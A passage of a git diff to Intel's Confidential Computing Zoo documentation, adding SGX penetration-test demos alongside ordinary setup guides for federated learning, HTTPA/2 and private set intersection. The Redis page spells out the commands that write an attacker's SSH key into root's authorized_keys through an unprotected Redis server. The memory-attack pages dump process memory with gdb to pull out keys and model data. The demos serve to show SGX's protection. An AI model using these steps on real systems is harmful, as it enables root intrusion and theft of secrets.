XXX.XXX.XXX.XXX with the leader container IP address. For example: ``` cd /gramine/CI-Examples/wide_n_deep -peer_ip=REPLACE_WITH_LEADER_IP_ADDR +peer_ip=XXX.XXX.XXX.XXX ./test-ps-sgx.sh follower $peer_ip ``` @@ -168,11 +182,11 @@ Wait until the follower training process is ready, when the following log is dis 2022-10-12 02:53:47,002 [INFO]: waiting master ready... (fl_logging.py:95) ``` -Start the training process in the leader container: +Start the training process in the leader container, replacing XXX.XXX.XXX.XXX with the follower container IP address. For example: ``` cd /gramine/CI-Examples/wide_n_deep -peer_ip=REPLACE_WITH_FOLLOWER_IP_ADDR +peer_ip=XXX.XXX.XXX.XXX ./test-ps-sgx.sh leader $peer_ip ``` diff --git a/documents/readthedoc/docs/source/Cloud/cloudDeployment.md b/documents/readthedoc/docs/source/Cloud/cloudDeployment.md index 94a31522..da1f294c 100644 --- a/documents/readthedoc/docs/source/Cloud/cloudDeployment.md +++ b/documents/readthedoc/docs/source/Cloud/cloudDeployment.md @@ -351,7 +351,8 @@ The following is the configuration of the DCsv3-series instance used:

  • Secure Logistic Regression Inference with HE and Intel SGX 
  • RA-TLS Enhanced gRPC 
  • Vertical Federated Learning
  • - +
  • Private Set Intersection (PSI)
  • + diff --git a/documents/readthedoc/docs/source/Pentests/Overview.md b/documents/readthedoc/docs/source/Pentests/Overview.md new file mode 100644 index 00000000..ebbfec66 --- /dev/null +++ b/documents/readthedoc/docs/source/Pentests/Overview.md @@ -0,0 +1,49 @@ +# Penetration Testing Overview + +## Introduction + +This penetration testing aims to show how SGX protects the runtime confidentiality of applications while sufferring privileged malware memory attacks. + +CCZoo penetration test provides two types test cases: unauthorized access and data theft(memory attack). + +Unauthorized access is to gain server privileges through unauthorized access, such as implanting privileged backdoors and obtaining privileged shells. + +Data theft is to verify the memory confidentiality of SGX runtime, memory attacks will be performed on high-value data applications through privileged applications or shells to steal their runtime memory data. + +## Test Cases Overview + +1. Unauthorized Access: + + - Redis + + When a hacker accesses Redis without password protection running as root, hacker's ssh public key can be written into the target server `/root/.ssh/authotrized_keys` file, and then the target server can be directly logged in through hacker's Private key. + + ![](unauthorized_access/redis/redis.svg) + + Please refer to [redis/index.html](https://cczoo.readthedocs.io/en/latest/Pentests/unauthorized_access/redis/index.html) for detail. + +2. Memory Attack: + + - Key Generator + + This application is generating keys in memory and implemented based on the Intel SGX SDK. + + It will use the same source code to compile SGX applications and non-SGX applications, and perform memory attacks on them to verify the confidentiality of SGX runtime memory. + + ![](memory_attack/sgx/key_generator/key_generator.svg) + + Please refer to [key_generator/index.html](https://cczoo.readthedocs.io/en/latest/Pentests/memory_attack/sgx/key_generator/index.html) for detail. + + - Confidential Inference + + In the traditional AI inference workflow, it usually faces security risks of models and user data. + + Developers usually adopt model encryption and TLS network transmission methods to solve data security risks in AI inference workflow. + + Although the above two security methods can solve the data security issues in the storage and transmission process, there are still data security risks in this workflow, and hackers can get model and user data through memory attacks. + + In the following demo, we will conduct attack simulation and security verification to demonstrate the effectiveness and limitations of the above security methods, and use intel SGX technology to prevent data theft through memory attacks, so as to achieve all-round (model storage, data network transport, inference service runtime) to protect the purpose of AI inference workflow. + + ![](memory_attack/sgx/confidential_inference/confidential_inference.svg) + + Please refer to [confidential_inference/index.html](https://cczoo.readthedocs.io/en/latest/Pentests/memory_attack/sgx/confidential_inference/index.html) for detail. diff --git a/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/confidential_inference.svg b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/confidential_inference.svg new file mode 100644 index 00000000..eec30f48 --- /dev/null +++ b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/confidential_inference.svg @@ -0,0 +1 @@ +Model Distributor????????????????????????????????????????????Inference ServerInference ClientPlain model(resnet50.pkl)Model encryption(models.py)Encrypted model(resnet50.encrypt.pkl)Model uploader(cp)Plain image(goldfish.jfif)Inference client(client.pyw/ HTTPS)Encrypted image through HTTPS trafficInference service(server.py)Image decryption(HTTPS)Plain modelin memoryEncrypted model StorageModel decryptionPlain image in memoryInferenceHacker’s machineSSH client(escalated to ROOT privilege)Network sniffas ROOT(tcpdump)Open a fileas ROOTMemory dumpas ROOT(gdb:core.* ->mem_dump_nosgx.log)1.5318 e-02-2.0375 e-033.7583 e-041.0371 e-011.5318 e-02-2.0375 e-033.7583 e-041.0371 e-01???????????????????????????????????????????? \ No newline at end of file diff --git a/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/index.md b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/index.md new file mode 100644 index 00000000..2e20872c --- /dev/null +++ b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/confidential_inference/index.md @@ -0,0 +1,289 @@ +# Confidential Inference + +## Introduction + +In the traditional AI inference workflow, it usually faces security risks of models and user data. + +Developers usually adopt model encryption and TLS network transmission methods to solve data security risks in AI inference workflow. + +Although the above two security methods can solve the data security issues in the storage and transmission process, there are still data security risks in this workflow, and hackers can get model and user data through memory attacks. + +In the following demo, we will conduct attack simulation and security verification to demonstrate the effectiveness and limitations of the above security methods, and use intel SGX technology to prevent data theft through memory attacks, so as to achieve all-round (model storage, data network transport, inference service runtime) to protect the purpose of AI inference workflow. + +The participants of the AI inference workflow are divided into the following four roles: `Model Distributor`, `inf Server`, `inf Client` and `Hacker`. + +![](confidential_inference.svg) + +--- + +## Setup Environment + +1. Build docker image + + ``` + image=confidential-inference:graminev1.2-ubuntu20.04-latest + build_docker_image.sh ${image} + ``` + +2. Start container + + ``` + ./start_container.sh ${image} + ``` + + It will create the following containers for the above 4 roles respectively: + - `model-distributor` container for `Model Distributor` + - `inf-client` container for `inf Client` + - `inf-server` container for `inf Server` + - `inf-server` container for `Hacker` + +--- + +## Encrypt and Transfer Model + +1. `Model Distributor` encrypt model in `model-distributor` container. + + Encryption algorithm: + + AES in CBC mode with a 128-bit key for encryption; using PKCS7 padding. HMAC using SHA256 for authentication. + + Encrypt model with password: + + ``` + python3 /models.py + ``` + + Get outputs: + + ``` + Save data to /resnet50.encrypt.pkl + + Weights data: [ mem_dump_nosgx.log + + grep -n "AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPE" mem_dump_nosgx.log | cut -c 1-70 + + cat mem_dump_nosgx.log | tail -n +`grep -n 'shape=(7, 7, 3, 64) dtype=float32' mem_dump_nosgx.log | awk -F: '{print $1}'` | head -n 17 + ``` + + The hacker gets the plain image and model: + + ``` + 2033125:AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPEIAAGRCAAAIQgAALEIAAFBCAACgQQAA0EEAABhCAADAQQAA2EEAADhCAADAQQAA2EEAAChCAAC4QQAA6EEAAC + + [ mem_dump_sgx.log + + grep -n "AAAQQgAAVEIAAJJCAAAoQgAAXEIAAJRCAAAUQgAAREIAAHxCAAAUQgAAPE" mem_dump_sgx.log | cut -c 1-70 + + cat mem_dump_sgx.log | tail -n +`grep -n 'shape=(7, 7, 3, 64) dtype=float32' mem_dump_sgx.log | awk -F: '{print $1}'` | head -n 17 + ``` + + The hacker can not get the plain image and model. `Intel SGX` can effectively protect the memory safety of inference service runtime. + +This confidential inference service protects the security of models and user data in an all-round way through model encrypted storage, data TLS network transmission and SGX protection of runtime memory. + diff --git a/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/index.md b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/index.md new file mode 100644 index 00000000..144d1082 --- /dev/null +++ b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/index.md @@ -0,0 +1,61 @@ +# Key Generator Application Memory Attack + +## Introduction + +This application is generating keys in memory and implemented based on the Intel SGX SDK. + +It will use the same source code to compile SGX applications and non-SGX applications, and perform memory attacks on them to verify the confidentiality of SGX runtime memory. + +![](key_generator.svg) + +## Application Deployment + +1. Install Intel(R) Software Guard Extensions (Intel(R) SGX) SDK for Linux* OS. + +2. Make sure your environment is set: + ``` + source ${sgx-sdk-install-path}/environment + ``` + +3. Build application: + + - Without Intel SGX Memory Protection + ``` + make clean + make SGX_MODE=SIM SGX_DEBUG=0 + ``` + + - With Intel SGX Memory Protection + ``` + make clean + make SGX_DEBUG=0 + ``` + +4. Execute the binary directly: + + ``` + ./app + ``` + +## Hacker Memory Attack + +1. Dump app's memory via gdb: + ``` + rm -rf core.* + gdb -ex "generate-core-file" -ex "quit" -p `pgrep -f app` + ``` + +2. Parse and find key in dumped file: + ``` + strings ./core.* | grep -n Secret_Key + ``` + + Corresponding output: + + - Without Intel SGX Memory Protection + ``` + 1233:Secret_Key:uLhtfhrxoxTPwQdquZTtKhJcigdJTrHzJTaKBewwwiGhGuEXqNnjuRTfnapTMTAwWJsKMIveISmIVmllxCxHsjPHldjadgqIrreXAwkxMHRCwcOLchYpjKrRlyZIVDAp + ``` + - Intel SGX Memory Protection + + None output. \ No newline at end of file diff --git a/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/key_generator.svg b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/key_generator.svg new file mode 100644 index 00000000..a39fc4dc --- /dev/null +++ b/documents/readthedoc/docs/source/Pentests/memory_attack/sgx/key_generator/key_generator.svg @@ -0,0 +1,3 @@ + + +
    Server
    Server
    Privileged gdb
    Privileged gdb
    SGX Enclave
    SGX Enclave
    Key generator
    Key generator
    Key
    Key
    Key generator
    Key generator
    Memory
    Memory
    Key
    Key
    Dump Memory
    Dump Memory
    Text is not SVG - cannot display
    \ No newline at end of file diff --git a/documents/readthedoc/docs/source/Pentests/readsecret.md b/documents/readthedoc/docs/source/Pentests/readsecret.md deleted file mode 100644 index ec2742ec..00000000 --- a/documents/readthedoc/docs/source/Pentests/readsecret.md +++ /dev/null @@ -1,3 +0,0 @@ -Read Secret -=========== - diff --git a/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/index.md b/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/index.md new file mode 100644 index 00000000..622a485e --- /dev/null +++ b/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/index.md @@ -0,0 +1,86 @@ +# Redis Unauthorized Access + +## Introduction + +[Redis](https://redis.io/docs/about/) is a data structure server. At its core, Redis provides a collection of native data types that help you solve a wide variety of problems, from caching to queuing to event processing. + +Redis is designed to be accessed by trusted clients inside trusted environments. This means that usually it is not a good idea to expose the Redis instance directly to the internet or, in general, to an environment where untrusted clients can directly access the Redis TCP port or UNIX socket. + +Unfortunately, many users fail to protect Redis instances from being accessed from external networks. + +When a hacker accesses Redis without password protection running as root, hacker's ssh public key can be written into the target server `/root/.ssh/authotrized_keys` file, and then the target server can be directly logged in through hacker's Private key. + +![](redis.svg) + +## Server Deployment + +1. Watch `/root/.ssh/authorized_keys` file + ``` + watch -n 1 cat /root/.ssh/authorized_keys + ``` + +2. Get server ip + ``` + ifconfig | grep inet + ``` + +3. Install redis-server + ``` + apt-get install redis-server + ``` + +4. Start redis-server + ``` + # check ip + ifconfig | grep inet + + # start redis-server + redis-server --port 7777 --protected-mode no + ``` + +## Hacker Attack + +1. Generate ssh key and certificate + + hacker generate key to `/root/.ssh/id_rsa` and generate certificate to `/root/.ssh/id_rsa.pub`. + + ``` + ssh-keygen -t rsa + cat /root/.ssh/id_rsa + cat /root/.ssh/id_rsa.pub + ``` + +2. Test remote ssh + + After checking, it is found that ssh login to the remote server requests a password, but hacker does not have a corresponding password. + ``` + ssh root@${remote_server} + ``` + +3. Start attack + + Use `redis-cli` to connect with `redis-server`: + + ``` + redis-cli -p 7777 -h ${remote_server} + ``` + + Write local `/root/.ssh/id_rsa.pub` to remote `/root/.ssh/authorized_keys` + + ``` + config set dir /root/.ssh + config set dbfilename authorized_keys + set xxxx "\n\nssh-rsa key_pub\n\n" + get xxxx + save + exit + ``` + + The `ssh-rsa key_pub` is string of file `/root/.ssh/id_rsa.pub`. + +4. Test remote ssh + + After checking, it is found that ssh does not require a password when logging into the remote server. + ``` + ssh root@${remote_server} + ``` diff --git a/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/redis.svg b/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/redis.svg new file mode 100644 index 00000000..79c4af64 --- /dev/null +++ b/documents/readthedoc/docs/source/Pentests/unauthorized_access/redis/redis.svg @@ -0,0 +1,3 @@ + + +
    Server
    Server
    Hacker
    Hacker
    redis-server
    redis-server
    redis-cli
    redis-cli
    certificate
    certificate
    key
    key
    ssh-server
    ssh-server
    ssh-cli
    ssh-cli
    /root/.ssh/authorized_keys
    /root/.ssh/authorized_keys
    redis-server
    redis-server
    App
    App
    App
    App
    App
    App
    /root/.ssh/authorized_keys
    /root/.ssh/authorized_keys
    unauthorized
    access
    unauthorized...
    login without password
    login with...
    Text is not SVG - cannot display
    \ No newline at end of file diff --git a/documents/readthedoc/docs/source/Solutions/httpa/img/1-preflight.png b/documents/readthedoc/docs/source/Solutions/httpa/img/1-preflight.png new file mode 100755 index 00000000..e85acc90 Binary files /dev/null and b/documents/readthedoc/docs/source/Solutions/httpa/img/1-preflight.png differ diff --git a/documents/readthedoc/docs/source/Solutions/httpa/img/2-AtHS.png b/documents/readthedoc/docs/source/Solutions/httpa/img/2-AtHS.png new file mode 100755 index 00000000..89086f91 Binary files /dev/null and b/documents/readthedoc/docs/source/Solutions/httpa/img/2-AtHS.png differ diff --git a/documents/readthedoc/docs/source/Solutions/httpa/img/3-AtSP.png b/documents/readthedoc/docs/source/Solutions/httpa/img/3-AtSP.png new file mode 100755 index 00000000..162f0689 Binary files /dev/null and b/documents/readthedoc/docs/source/Solutions/httpa/img/3-AtSP.png differ diff --git a/documents/readthedoc/docs/source/Solutions/httpa/img/4-TrT.png b/documents/readthedoc/docs/source/Solutions/httpa/img/4-TrT.png new file mode 100755 index 00000000..b5190a02 Binary files /dev/null and b/documents/readthedoc/docs/source/Solutions/httpa/img/4-TrT.png differ diff --git a/documents/readthedoc/docs/source/Solutions/httpa/index.md b/documents/readthedoc/docs/source/Solutions/httpa/index.md new file mode 100644 index 00000000..6236fe73 --- /dev/null +++ b/documents/readthedoc/docs/source/Solutions/httpa/index.md @@ -0,0 +1,28 @@ +# HTTP-Attestable (HTTPA/2) + +## Introduction + +Hypertext Transfer Protocol Attestable (HTTPA) is a layer 7 (L7) of the OSI model that augments existing security mechanisms to enable end-to-end trust between HTTP endpoints. HTTPA aims for two purposes. First, help perform remote attestation on the web application running inside the TEE in which the flow can be unilateral (one-way HTTPA) or bilateral (mutual HTTPA) by verifying attestation evidence with a verifier such as a trusted authority (TA). Second, help build secure communication directly with the web application at L7 running inside the TEE. Even though middleboxes may terminate TLS, the secrets of HTTP messages are still protected by HTTPA until reaching the TEE. That is, HTTPA is compatible with most in-network processing of the modern cloud infrastructure for protecting HTTP messages. The HTTPA protocol enhances security with remote attestation using TEE and realized L7 end-to-end secure communication so that the identity of execution software/hardware, message confidentiality, and message integrity are protected with strong assurances. In HTTPA, we can allow visitors to verify and select trustworthy services to use. Visitors will be no longer bound to the loose granularity of trust for the website, and they can enjoy benefits from the finer granularity of trust from a specific web application. + +## TEE as root of trust + +The trusted execution environment (TEE) is the assumption of HTTPA in which a web service can attest itself to the remote relying party and build secure communication from the TEE endpoint directly to the remote endpoint. The whole process can be built unilaterally (one-way HTTPA) or bilaterally (mutual HTTPA) with remote attestation. Different from HTTPS using a certificate authority (CA), HTTPA assumes TA for identifying verification over measurements from both software and hardware. + + +## HTTPA workflow +HTTPA proposes a new method to the HTTP family of methods called HTTP ATTEST or ATTEST in order to ensure things will execute as expected. Working with HTTP ATTEST, a set of new HTTP header lines are introduced to establish the workflow for remote attestation and secure communication in combination to be trusted communication. The workflow includes four transactions, preflight transaction, attest handshake (AtHS) transaction, Attest secret provisioning (AtSP) transaction, and trusted transaction (TrT) as follows. For more details, please check the link to [Internet-Draft](https://www.ietf.org/archive/id/draft-sandowicz-httpbis-httpa2-01.html) or [HTTPA/2 white paper](https://arxiv.org/pdf/2205.01052.pdf). + +### **Preflight Transaction:** +![httpa_workflow](./img/1-preflight.png) + +### **Attest Handshake Transaction (AtHS):** +![httpa_workflow](./img/2-AtHS.png) + +### **Attest Secret Provisioning (AtSP):** +![httpa_workflow](./img/3-AtSP.png) + +### **Trusted Transaction (TrT):** +![httpa_workflow](./img/4-TrT.png) + +## HTTPA PoC +It is done but in internal review and pending on approval ...... diff --git a/documents/readthedoc/docs/source/Solutions/psi/PSI.md b/documents/readthedoc/docs/source/Solutions/psi/PSI.md index 8eb50a12..198da0b1 100644 --- a/documents/readthedoc/docs/source/Solutions/psi/PSI.md +++ b/documents/readthedoc/docs/source/Solutions/psi/PSI.md @@ -1,19 +1,19 @@ # Private Set Intersection (PSI) with Intel SGX ## Introduction -Private Set Intersection (PSI) is an application hotspot of multi-party secure computing. Its purpose is to calculate the intersection between the two parties through a secure scheme without exposing other information beyond the intersection. +Private Set Intersection (PSI) is an application hotspot of multi-party secure computing. Its purpose is to calculate the intersection between the two parties through a secure scheme without exposing other information beyond the intersection. There are many implementations of PSI, some of which are based on cryptographic algorithms, such as the RSA algorithm. However, the methods based on cryptography usually have problems such as slow intersection speed, complicated algorithm leads to high memory usage, and do not support multi-party intersection. In this Private Set Intersection solution, we adopted a privacy protection computing solution based on Intel SGX technology. ### Encrypted runtime environment -Intel SGX technology offers hardware-based memory encryption that isolates specific application code and data in memory and it allows user-level code to allocate private regions of memory, called enclaves, which are designed to be protected from processes running at higher privilege levels. +Intel SGX technology offers hardware-based memory encryption that isolates specific application code and data in memory, and it allows user-level code to allocate private regions of memory, called enclaves, which are designed to be protected from processes running at higher privilege levels. Intel SGX also helps protect against SW attacks even if OS/drivers/BIOS/VMM/SMM are compromised and helps increase protections for secrets even when attacker has full control of platform. ### Encrypted transmission and remote attestation -In the communication part of Private Set Intersection solution, we use Intel SGX Remote Attestation with Transport Layer Security (RA-TLS) technology to perform encrypted transmission and verification of program integrity.[[1]](#refer-anchor-1) RA-TLS integrates Intel SGX remote attestation with the establishment of a standard Transport Layer Security (TLS) connection. Remote attestation is performed during the connection setup by embedding the attestation evidence into the endpoints TLS certificate. +In the communication part of Private Set Intersection solution, we use Intel SGX Remote Attestation with Transport Layer Security (RA-TLS) technology to perform encrypted transmission and verification of program integrity. RA-TLS integrates Intel SGX remote attestation with the establishment of a standard Transport Layer Security (TLS) connection. Remote attestation is performed during the connection setup by embedding the attestation evidence into the endpoints TLS certificate. ## Privacy protection This solution mainly contains the items listed below: @@ -32,7 +32,9 @@ To solve the problem of how to verify the untrusted application integrity, we us ## Workflow Our solution is implemented in a trusted execution environment, and its architecture is as follows: -![](images/psi.svg) +
    + +
    The computing phase can be divided into the following steps: @@ -44,7 +46,7 @@ The computing phase can be divided into the following steps:   **4.** The server side sends the calculation results back to each participant through secure transmission. -In the above process, the client can only obtain the intersection data, but not the non-intersection data belonging to other clients. The server side is only responsible for computing, and will not save or steal the data sent by clients. +In the above process, the client can only obtain the intersection data, but not the non-intersection data belonging to other clients. The server side is only responsible for computing and will not save or steal the data sent by clients. ## Build and installation @@ -53,173 +55,328 @@ images for developing the gRPC RA-TLS application. ### Prerequisites -- Ubuntu 18.04. This solution should work on other Linux distributions as well, - but for simplicity we provide the steps for Ubuntu 18.04 only. +- Ubuntu 20.04. This solution should work on other Linux distributions as well, + but for simplicity we provide the steps for Ubuntu 20.04 only. -- Docker Engine. Docker Engine is an open source containerization technology for +- Docker Engine. Docker Engine is an open-source containerization technology for building and containerizing your applications. Please follow [this guide](https://docs.docker.com/engine/install/ubuntu/#install-using-the-convenience-script) to install Docker engine. - -- Private Set Intersection source package: +- CCZoo Private Set Intersection source package: ```shell git clone https://github.com/intel/confidential-computing-zoo.git ``` - Intel SGX Driver and SDK/PSW. You need a machine that supports Intel SGX and FLC/DCAP. Please follow this guide to install the Intel SGX driver and SDK/PSW on the machine/VM. Make sure to install the driver with ECDSA/DCAP attestation. -After Intel SGX DCAP is setup, verify the Intel Architectural Enclave Service Manager is active (running):: - - ```shell - sudo systemctl status aesmd - ``` - -- Gramine. Follow [Quick Start](https://gramine.readthedocs.io/en/latest/quickstart.html) - to learn more about it. - -### Setup LibOS - - - Gramine - ```bash - cd cczoo/common/docker/gramine - ./build_docker_image.sh [ubuntu/anolisos] - ``` - -### Setup develop environment of gRPC RA-TLS based on Intel SGX - - - Gramine - ```bash - cd - - cd cczoo/psi/gramine - ./build_docker_image.sh [ubuntu/anolisos] - ``` - -## Run PSI examples -We use a two-way atttestation scheme. The client and server on both sides of the communication authenticate each other. + For deployments on Microsoft Azure, a script is provided to install general dependencies, Intel SGX DCAP dependencies, and the Azure DCAP Client. To run this script: -This example only shows an example of deploying PSI locally. If you want to deploy the participants on different machines, please make sure that the correct measurements are filled in the `dynamic_config.json` file to ensure that the remote verification passes. - -- Gramine - - Prepare the docker container - - ```bash - cd cczoo/psi - - #start and enter the docker container - ./start_container.sh - ``` - - ### Run the Python example - - Build Python example - - ```bash - cd CI-Examples/psi/python - ./build.sh - ``` - - Two-party: - - ```bash - # Run the server - gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json & - - # Run the client1 - gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 2 & - - # Run the client2 - gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 2 & + ```shell + cd cczoo/psi + ./setup_azure_vm.sh ``` + After Intel SGX DCAP is setup, verify the Intel Architectural Enclave Service Manager is active (running): - Each client will get the intersection result: ```shell - ['car', 'cat', 'train'] + systemctl status aesmd ``` - Our solution supports the intersection of three and more parties. Examples of three-party intersection: +### Solution Ingredients +This solution uses the following ingredients, which are installed as part of the container build process. +- [Gramine](https://gramine.readthedocs.io) - ```bash - # Run the server - gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json & - - # Run the client1 - gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 3 & - - # Run the client2 - gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 3 & - - # Run the client3 - gramine-sgx python -u data_provider3.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data3.txt" -client_num 3 & - ``` +### Setup docker images +For Ubuntu: - Each client will get the intersection result: - ```shell - ['train', 'car', 'cat'] +- For deployments on Microsoft Azure: + ```bash + cd cczoo/psi/gramine + AZURE=1 ./build_docker_image.sh ubuntu:20.04 ``` - - ### Run the C++ example - - Build C++ example - +- For other cloud deployments: ```bash - cd CI-Examples/psi/cpp - ./build.sh + cd cczoo/psi/gramine + ./build_docker_image.sh ubuntu:20.04 ``` - Two-party: +For Anolis OS: + +- For deployments on Microsoft Azure: Currently not supported. +- For other cloud deployments: ```bash - # Run the server - cd runtime/server - gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json & - - # Run the client1 - cd - - cd runtime/data_provider1 - gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=2 data_dir="data1.txt" client_name="data_provider1" & - - # Run the client2 + cd cczoo/common/docker/gramine + ./build_docker_image.sh anolisos cd - - cd runtime/data_provider2 - gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=2 data_dir="data2.txt" client_name="data_provider2" & + cd cczoo/psi/gramine + ./build_docker_image.sh anolisos ``` - Each client will get the intersection result: - ```shell - car - cat - train - ``` +## Run PSI examples - Three-party: +This solution uses a two-way attestation scheme. The client and server on both sides of the communication authenticate each other. - ```bash - # Run the server - cd runtime/server - gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json & - - # Run the client1 - cd - - cd runtime/data_provider1 - gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=3 data_dir="data1.txt" client_name="data_provider1" & - - # Run the client2 - cd - - cd runtime/data_provider2 - gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data2.txt" client_name="data_provider2" & - - # Run the client3 - cd - - cd runtime/data_provider3 - gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=3 data_dir="data3.txt" client_name="data_provider3" & - ``` +This example only shows an example of deploying PSI locally. If you want to deploy the participants on different machines, please make sure that the correct measurements are filled in the `dynamic_config.json` file to ensure that the remote verification passes. - Each client will get the intersection result: - ```shell - car - cat - train - ``` +### Prepare the docker container +Start four containers (one server, three clients). +```bash +cd cczoo/psi +``` + +- For deployments on Microsoft Azure: + + In terminal 1, start the server container: + ```bash + ./start_container.sh server + ``` + + In terminal 2, start the client1 container: + ```bash + ./start_container.sh client1 + ``` + + In terminal 3, start the client2 container: + ```bash + ./start_container.sh client2 + ``` + + In terminal 4, start the client3 container: + ```bash + ./start_container.sh client3 + ``` + +- For other cloud deployments: + + In terminal 1, start the server container: + ```bash + ./start_container.sh server + ``` + + In terminal 2, start the client1 container: + ```bash + ./start_container.sh client1 + ``` + + In terminal 3, start the client2 container: + ```bash + ./start_container.sh client2 + ``` + + In terminal 4, start the client3 container: + ```bash + ./start_container.sh client3 + ``` + +### Run the Python example + +For each container (server, client1, client2, client3), build the Python example and note the mr_enclave value from the build output. + +```bash +cd /gramine/CI-Examples/psi/python +./build.sh +``` +Example mr_enclave value from each container. + +server: +```bash +mr_enclave: 7d61ddedb4b8d3743f61ad255bae0ab56d3e3ad2547ef921476b25ac3ccad5ad +``` + +client1: +```bash +mr_enclave: d65c397169a981d6a6a49c658235e5ac2b3f86944f957d942d406c79049e135a +``` + +client2: +```bash +mr_enclave: 39d2753b9c9a3da298edb685e5a436f921227956454a54b3f73881db350486e6 +``` + +client3: +```bash +mr_enclave: 7762afd0bb1adf5374bf9737f6d7b102ae585f04b675bca64125761bb050787b +``` +Modify /gramine/CI-Examples/psi/python/dynamic_config.json in each container as described below. Do not copy and paste the following example values. Use the actual mr_enclave values from your containers. + +From the server container, modify /gramine/CI-Examples/psi/python/dynamic_config.json to include sgx_mrs entries containing the mr_enclave value for each client. For example: +```bash +{ + "verify_mr_enclave": "on", + "verify_mr_signer": "on", + "verify_isv_prod_id": "on", + "verify_isv_svn": "on", + "sgx_mrs": [ + { + "mr_enclave": "d65c397169a981d6a6a49c658235e5ac2b3f86944f957d942d406c79049e135a", + "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3", + "isv_prod_id": "0", + "isv_svn": "0" + }, + { + "mr_enclave": "39d2753b9c9a3da298edb685e5a436f921227956454a54b3f73881db350486e6", + "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3", + "isv_prod_id": "0", + "isv_svn": "0" + }, + { + "mr_enclave": "7762afd0bb1adf5374bf9737f6d7b102ae585f04b675bca64125761bb050787b", + "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3", + "isv_prod_id": "0", + "isv_svn": "0" + } + ] +} +``` + +From the client1, client2, client3 containers, modify /gramine/CI-Examples/psi/python/dynamic_config.json to include a sgx_mrs entry containing the mr_enclave value for the server. For example: +```bash +{ + "verify_mr_enclave": "on", + "verify_mr_signer": "on", + "verify_isv_prod_id": "on", + "verify_isv_svn": "on", + "sgx_mrs": [ + { + "mr_enclave": "7d61ddedb4b8d3743f61ad255bae0ab56d3e3ad2547ef921476b25ac3ccad5ad", + "mr_signer": "037ac2be3243ac7cd66dc39b0403056a54160f61f2d998d90327455e745e31f3", + "isv_prod_id": "0", + "isv_svn": "0" + } + ] +} +``` + +For each container (server, client1, client2, client3), run the specified script as described below. + +- Two-party: + +server: +```bash +gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json +``` + +client1: +```bash +gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 2 +``` + +client2: +```bash +gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 2 +``` + +Each client will return the following intersection result: +```shell +['car', 'cat', 'train'] +``` + +In the server container, use Ctrl-C to stop the server process. + +- Three-party: + +server: +```bash +gramine-sgx python -u server.py -host localhost:50051 -config dynamic_config.json +``` + +client1: +```bash +gramine-sgx python -u data_provider1.py -host localhost:50051 -config dynamic_config.json -is_chief True -data_dir "data1.txt" -client_num 3 +``` + +client2: +```bash +gramine-sgx python -u data_provider2.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data2.txt" -client_num 3 +``` + +client3: +```bash +gramine-sgx python -u data_provider3.py -host localhost:50051 -config dynamic_config.json -is_chief False -data_dir "data3.txt" -client_num 3 +``` + +Each client will return the following intersection result: +```shell +['train', 'car', 'cat'] +``` + +In the server container, use Ctrl-C to stop the server process. + +### Run the C++ example + +Before performing the steps below, the Python example must be built first (as described in the previous section). + +For each container (server, client1, client2, client3), build the C++ example. + +```bash +cd /gramine/CI-Examples/psi/cpp +./build.sh +``` + +For each container (server, client1, client2, client3), run the specified script as described below. + +- Two-party: + +server: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/server +gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json +``` + +client1: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider1 +gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=true -client_num=2 data_dir="data1.txt" client_name="data_provider1" +``` + +client2: +```bash +cd /gramine/CI-Examples/psi/cpp/runtime/data_provider2 +gramine-sgx grpc -host=localhost:50051 -config=dynamic_config.json -is_chief=false -client_num=2 